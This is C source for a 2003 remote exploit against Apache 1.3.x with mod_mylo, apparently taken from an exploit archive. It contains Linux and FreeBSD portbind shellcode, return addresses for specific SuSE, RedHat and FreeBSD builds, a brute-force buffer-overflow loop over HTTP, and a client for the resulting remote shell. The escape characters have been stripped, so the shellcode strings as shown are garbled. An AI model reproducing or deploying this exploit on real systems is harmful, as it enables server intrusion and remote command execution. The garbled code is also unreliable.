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# Title : Apache 1.3.x mod_mylo Remote Code Execution Exploit
# Published : 2003-07-28
# Author : Carl Livitt
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/*
Apache + mod_mylo remote exploit
By Carl Livitt / July 2003
carllivitt at hush dot com
Public release - Linux and FreeBSD targets.
*/
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <net/if.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <signal.h>
#include <netdb.h>
#include <time.h>
#include <stdarg.h>
#define SIZ 8096
#define HTTP_PORT 80
#define SHELL_PORT 45295
#define SOCKET_ERR -2
#define CONNECT_ERR -3
#define HOST_NOT_RESOLVED -4
#define BRUTE_FORCE_EXHAUSTED -5
#define SHELL_NOT_FOUND -7
#define SUCCESS 1
#define FAILED 0
// The following shellcode had 0x3f (?) chars in it which
// cause termination of our HTTP GET before the whole
// shellcode is written to the stack. The 0x3f's are
// needed because they are the dup2() syscall numbers. So,
// I've changed them to 0x3e's and INC'd them before doing
// an INT 0x80. Other than that, this shellcode is eSDee's.
// --------
// linux x86 shellcode by eSDee of Netric (www.netric.org)
// 200 byte - forking portbind shellcode - port=0xb0ef(45295)
char linux_shellcode[]=
"x31xc0x31xdbx31xc9x51xb1"
"x06x51xb1x01x51xb1x02x51"
"x89xe1xb3x01xb0x66xcdx80"
"x89xc1x31xc0x31xdbx50x50"
"x50x66x68xb0xefxb3x02x66"
"x53x89xe2xb3x10x53xb3x02"
"x52x51x89xcax89xe1xb0x66"
"xcdx80x31xdbx39xc3x74x05"
"x31xc0x40xcdx80x31xc0x50"
"x52x89xe1xb3x04xb0x66xcd"
"x80x89xd7x31xc0x31xdbx31"
"xc9xb3x11xb1x01xb0x30xcd"
"x80x31xc0x31xdbx50x50x57"
"x89xe1xb3x05xb0x66xcdx80"
"x89xc6x31xc0x31xdbxb0x02"
"xcdx80x39xc3x75x40x31xc0"
"x89xfbxb0x06xcdx80x31xc0"
"x31xc9x89xf3xb0x3exfexc0xcdx80"
"x31xc0x41xb0x3exfexc0xcdx80x31"
"xc0x41xb0x3exfexc0xcdx80x31xc0"
"x50x68x2fx2fx73x68x68x2f"
"x62x69x6ex89xe3x8bx54x24"
"x08x50x53x89xe1xb0x0bxcd"
"x80x31xc0x40xcdx80x31xc0"
"x89xf3xb0x06xcdx80xebx99";
// This shellcode is unchanged (why reinvent the wheel ?):
// --------
/* BSD x86 shellcode by eSDee of Netric (www.netric.org)
* 194 byte - forking portbind shellcode - port=0xb0ef(45295)
*/
char freebsd_shellcode[]=
"x31xc0x31xdbx53xb3x06x53"
"xb3x01x53xb3x02x53x54xb0"
"x61xcdx80x89xc7x31xc0x50"
"x50x50x66x68xb0xefxb7x02"
"x66x53x89xe1x31xdbxb3x10"
"x53x51x57x50xb0x68xcdx80"
"x31xdbx39xc3x74x06x31xc0"
"xb0x01xcdx80x31xc0x50x57"
"x50xb0x6axcdx80x31xc0x31"
"xdbx50x89xe1xb3x01x53x89"
"xe2x50x51x52xb3x14x53x50"
"xb0x2excdx80x31xc0x50x50"
"x57x50xb0x1excdx80x89xc6"
"x31xc0x31xdbxb0x02xcdx80"
"x39xc3x75x44x31xc0x57x50"
"xb0x06xcdx80x31xc0x50x56"
"x50xb0x5axcdx80x31xc0x31"
"xdbx43x53x56x50xb0x5axcd"
"x80x31xc0x43x53x56x50xb0"
"x5axcdx80x31xc0x50x68x2f"
"x2fx73x68x68x2fx62x69x6e"
"x89xe3x50x54x53x50xb0x3b"
"xcdx80x31xc0xb0x01xcdx80"
"x31xc0x56x50xb0x06xcdx80"
"xebx9a";
struct {
char *platform;
unsigned long bruteStart, bruteEnd;
unsigned long retAddr;
int offset, len;
char *shellcodePtr;
} targets[]= {
{ "SuSE 8.1, Apache 1.3.27 (installed from source) (default)", 0x08117c04,
0x08117dff, 0xbfffe9f0, 500, 4104, linux_shellcode },
{ "RedHat 7.2, Apache 1.3.20 (installed from RPM)", 0x08105104, 0x081051ff,
0xbfffe0b0, 1000, 4104, linux_shellcode },
{ "RedHat 7.3, Apache 1.3.23 (installed from RPM)", 0x080ef304, 0x080ef3ff,
0xbfffe190, 750, 4104, linux_shellcode },
{ "FreeBSD 4.8, Apache 1.3.27 (from Ports)", 0x080bf004, 0x080bf0ff, 0xbfbfea50
,3500, 4096, freebsd_shellcode },
NULL
};
char usage[]=
"Apache + mod_mylo remote exploitn"
"By Carl Livitt (carllivitt at hush dot com)nn"
"Arguments: n"
" -t target Attack 'target' hostn"
" -T platform Use parameters for target 'platform'n"
" -h This help.n";
void my_send(int, char *, ...);
void my_recv(int);
void make_exploitbuf(char *);
int connect_to_host(int);
int attempt_exploit(void);
void my_sleep(int n);
unsigned long retAddr=0,magic_r=0,MAGIC_R_START,MAGIC_R_END, exactPointerAddy=0;
char buf[SIZ], host[SIZ]="";
int useTarget=0;
struct hostent *hostStruct;
main(int argc, char **argv) {
int ch, i;
while((ch=getopt(argc, argv, "t:T:e:hr:"))!=-1) {
switch(ch) {
case 't':
strncpy(host, optarg, SIZ-1);
break;
case 'T':
useTarget=atoi(optarg);
break;
case 'e':
exactPointerAddy=strtoul(optarg,NULL,16);
break;
case 'r':
retAddr=strtoul(optarg,NULL,16);
break;
case 'h':
default:
printf("%sn",usage);
printf("Available platforms:n");
for(i=0;targets[i].platform;i++)
printf("%2d. %sn", i, targets[i].platform);
printf("n");
exit(0);
break; // it's good practice :)
}
}
// Sanity check
if(!retAddr && exactPointerAddy) {
printf("[*] You must give RET address when specifying a pointer addressn");
printf(" A good place to start is 0xbfffe0b0(linux) or 0xbfbfe0b0(freeBSD)n");
printf(" Also remember to pass a -T x flag... things will be unpredictablen");
printf(" if you don't!n");
exit(0);
}
if((hostStruct=gethostbyname(host))==NULL) {
printf("[*] Couldn't resolve host %snUse '%s -h' for helpn", host,argv[0]);
exit(0);
}
switch(attempt_exploit()) {
case HOST_NOT_RESOLVED:
printf("[*] Couldn't connect to host: %s not found.n", host);
break;
case SOCKET_ERR:
printf("[*] Couldn't grab a socket!n");
break;
case CONNECT_ERR:
printf("[*] Connection to %s was rejectedn",host);
break;
case SHELL_NOT_FOUND:
printf("[*] This attempt failed ...n");
break;
case BRUTE_FORCE_EXHAUSTED:
printf("[*] Bruteforce failed.n");
break;
case SUCCESS:
break;
default:
printf("[*] ERROR: There was no error!n");
break;
}
printf("nHave a nice day!n");
exit(0);
}
int attempt_exploit(void) {
fd_set rfds;
int sock,retVal,r;
if(exactPointerAddy) {
printf("[-] Using 0x%08x for pointer addyn", exactPointerAddy);
if((sock=connect_to_host(HTTP_PORT))<=0)
return sock;
magic_r=exactPointerAddy;
make_exploitbuf(buf);
my_send(sock, buf);
my_recv(sock);
close(sock);
my_sleep(100000);
if((sock=connect_to_host(SHELL_PORT))<=0) {
return sock;
}
} else { // Do crappy bruteforce loop
printf("[-] Attempting attack [ %s ] ...n", targets[useTarget].platform);
MAGIC_R_START=targets[useTarget].bruteStart;
MAGIC_R_END=targets[useTarget].bruteEnd;
retAddr=targets[useTarget].retAddr;
for(magic_r=MAGIC_R_START; magic_r<=MAGIC_R_END; magic_r++) {
printf("[-] Trying 0x%08x ... r", magic_r);fflush(stdout);
if((sock=connect_to_host(HTTP_PORT))<=0)
return sock;
make_exploitbuf(buf);
my_send(sock, buf);
my_recv(sock);
close(sock);
my_sleep(50000);
if((sock=connect_to_host(SHELL_PORT))>=SUCCESS) {
printf("n[-] Found request_rec address @ 0x%08xn", magic_r);
break;
}
}
if(magic_r>MAGIC_R_END)
return BRUTE_FORCE_EXHAUSTED;
}
printf("[-] Connected to %s! You can type commands now:n", host);
// Now let the attacker issue commands to the remote
// shell, just as if (s)he had launched 'nc host 45295'.
do {
FD_ZERO(&rfds);
FD_SET(0, &rfds);
FD_SET(sock, &rfds);
retVal=select(sock+1, &rfds, NULL, NULL, NULL);
if(retVal) {
if(FD_ISSET(sock, &rfds)) {
buf[(r=recv(sock, buf, SIZ-1,0))]=' '; // bad!
printf("%s", buf);
}
if(FD_ISSET(0, &rfds)) {
buf[(r=read(0, buf, SIZ-1))]=' '; // bad!
send(sock, buf, strlen(buf), 0);
}
}
} while(retVal && r); // loop until connection terminates
close(sock);
return SUCCESS;
}
// Given a port number, connects to an already resolved hostname...
// connects a TCP stream and returns a socket number (or returns error)
int connect_to_host(int p) {
int sock;
struct sockaddr_in saddr;
if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1)
return SOCKET_ERR;
memset((void *)&saddr, 0, sizeof(struct sockaddr_in));
saddr.sin_family=AF_INET;
saddr.sin_addr.s_addr=*((unsigned long *)hostStruct->h_addr_list[0]);
saddr.sin_port=htons(p);
if(connect(sock, (struct sockaddr *)&saddr, sizeof(saddr))<0) {
close(sock);
return CONNECT_ERR;
} else
return sock;
}
void make_exploitbuf(char *b) {
unsigned long *ptr;
char *sc=(char *)&targets[useTarget].shellcodePtr[0];
memset(b,0x00,SIZ-1);
strcat(b,"GET ");
memset(b+4,0x90,targets[useTarget].len);
memcpy((b+targets[useTarget].len)-(strlen(sc)+targets[useTarget].offset)-9,sc,strlen(sc));
ptr=(unsigned long *)&b[strlen(b)];
*(ptr++)=retAddr;
*ptr=magic_r;
strcat(b, "nn");
}
// Handy little function to send formattable data down a socket.
void my_send(int s, char *b, ...) {
va_list ap;
char *buf;
va_start(ap,b);
vasprintf(&buf,b,ap);
send(s,buf,strlen(buf),0);
va_end(ap);
free(buf);
}
// Another handy function to read data from a socket.
void my_recv(int s) {
int len;
char buf[SIZ];
len=recv(s, buf, SIZ-1, 0);
buf[len]=0;
}
// Wrapper for nanosleep()... just pass 'n' nanoseconds to it.
void my_sleep(int n) {
struct timespec t;
t.tv_sec=0;
t.tv_nsec=n;
nanosleep(&t,&t);
}
// www.Syue.com [2003-07-28]